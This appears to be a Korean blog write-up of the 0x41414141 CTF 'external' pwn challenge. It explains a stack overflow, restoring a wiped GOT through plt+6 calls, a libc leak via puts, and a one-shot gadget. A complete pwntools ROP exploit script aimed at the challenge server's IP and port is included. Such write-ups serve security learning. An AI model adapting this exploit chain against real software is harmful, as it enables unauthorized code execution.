-
[0x41414141 CTF] externalCTF/WRITEUP 2021. 1. 27. 16:27
Disassembly 디스어셈블리
문제를 보면 별다른 설명 없이 라이브러리와 바이너리 파일이 있다.
undefined8 main(void) { void *buf; puts("ROP me ;)"); printf(0x40201c); read(0, &buf, 0xf0); clear_got(); return 0; }
main 함수는 puts, printf, read, clear_got를 차례대로 호출하고, read에서 스택 버퍼 오버플로우가 발생한다.
void clear_got(void) { memset(reloc.puts, 0, 0x38); return; }
clear_got 함수는 reloc.puts부터 0x38바이트 길이를 초기화한다.
초기화되는 부분은 got 영역 전체이다. 재할당된 라이브러리 함수들의 주소가 모두 날아갔으니 제대로 호출이 되지 않을 것이다.
Recovering GOT
PLT&GOT에서 알 수 있듯이, plt+6부터의 코드는 got 영역에 함수의 실제 라이브러리 주소를 적고 이를 실행하는 역할을 한다. 원래라면 함수의 첫 실행에만 작동하고 그 이후부터는 got를 참조해서 호출하지만, 지금처럼 got가 날아가버린 경우에는 이를 복구하기 위해 plt+6을 다시 한 번 호출해줘야 한다.
prdi = (r.find_gadget(['pop rdi', 'ret']))[0] puts_plt = e.plt["puts"] payload = b"A"*0x58 payload += p64(prdi) + p64(write) payload += p64(puts_plt+0x6)
pop rdi 가젯을 통해 puts_plt를 호출해주면, puts_got에는 이제 정상적인 라이브러리 주소가 적히게 된다.
Libc address leak
payload += p64(prdi) + p64(puts_got) payload += p64(puts_plt) puts = u64(p.recvline().strip().ljust(8,b'\x00')) libc = puts - l.symbols["puts"]
이제 복구된 puts의 주소를 leak해주면 libc base address를 얻을 수 있다.
공격에 쓸 가젯으로는 oneshot gadget이 가장 간편해 보여서 이를 사용하기로 했다.
ROP
공격할 준비를 마쳤으니, ROP를 통해 main을 한번 더 호출하고 return address를 oneshot gadget으로 덮어쓰면 될 것이다. 그러나 이대로 진행하면 SIGSEGV를 받게 된다.
다시 호출한 main에서 memset을 호출하려다 실패한 것을 볼 수 있다. 아직 puts가 아닌 다른 라이브러리 함수들의 got는 0으로 초기화되어 있어서, 이를 호출하게 되면 program counter가 유효하지 않은 영역인 0x0으로 넘어가 에러가 발생한다.
payload = b"A"*0x58 payload += p64(prdi) + p64(write) payload += p64(puts_plt+0x6) payload += p64(prdi) + p64(0x404080) payload += p64(printf_plt+0x6) payload += p64(prdi) + p64(0) payload += p64(prsi) + p64(memset_got) + p64(0) payload += p64(read_plt+0x6) payload += p64(prdi) + p64(puts_got) payload += p64(puts_plt) payload += p64(main) payload += b"A"*(0xf0-len(payload)) payload += p64(memset_plt+6) p.recvuntil("> ") p.send(payload)
따라서 main에서 등장하는 모든 함수들의 got를 복구시켜줘야하고, 위와 같이 plt+6을 호출하거나, read를 통해 got를 plt+6으로 덮는 방법이 있다. printf, puts, read는 plt+6을 직접 호출해주었고, memset은 호출하려니 잘 되지 않아서 read_plt+6을 호출하는 김에 got를 덮어주었다.
payload = b"A"*0x58 payload += p64(oneshot) p.sendlineafter("> ", payload)
마지막으로 다시 한 번 호출된 main에서 return address를 덮어주면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./external" lib = "./libc-2.28.so" server = "161.97.176.150" port = 9999 # context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF(binary) r = ROP(e) l = ELF(lib) # gdb debugging # p = process(binary) # gdb.attach(p) # gadget prdi = (r.find_gadget(['pop rdi', 'ret']))[0] prsi = (r.find_gadget(['pop rsi', 'pop r15', 'ret']))[0] oneshot_offset = [0x4484f, 0x448a3, 0xe5456] write = e.symbols["write_syscall"] main = e.symbols["main"] puts_plt = e.plt["puts"] puts_got = e.got["puts"] printf_plt = e.plt["printf"] read_plt = e.plt["read"] memset_plt = e.plt["memset"] memset_got = e.got["memset"] payload = b"A"*0x58 payload += p64(prdi) + p64(write) payload += p64(puts_plt+0x6) payload += p64(prdi) + p64(0x404080) payload += p64(printf_plt+0x6) payload += p64(prdi) + p64(0) payload += p64(prsi) + p64(memset_got) + p64(0) payload += p64(read_plt+0x6) payload += p64(prdi) + p64(puts_got) payload += p64(puts_plt) payload += p64(main) payload += b"A"*(0xf0-len(payload)) payload += p64(memset_plt+6) p.recvuntil("> ") p.send(payload) p.recvline() puts = u64(p.recvline().strip().ljust(8,b'\x00')) libc = puts - l.symbols["puts"] oneshot = libc + oneshot_offset[0] log.info("libc : " + hex(libc)) payload = b"A"*0x58 payload += p64(oneshot) p.sendlineafter("> ", payload) # raw_input(1) p.interactive()
Flag
flag{0h_nO_My_G0t!!!!1111!1!}
'CTF > WRITEUP' 카테고리의 다른 글
[0x41414141 CTF] Faking till you're Making (0) 2021.02.02 [0x41414141 CTF] Moving signals (0) 2021.02.02 [0x41414141 CTF] echo (0) 2021.02.02 [0x41414141 CTF] Return Of The ROPs (0) 2021.02.02 [0x41414141 CTF] The Pwn Inn (0) 2021.01.30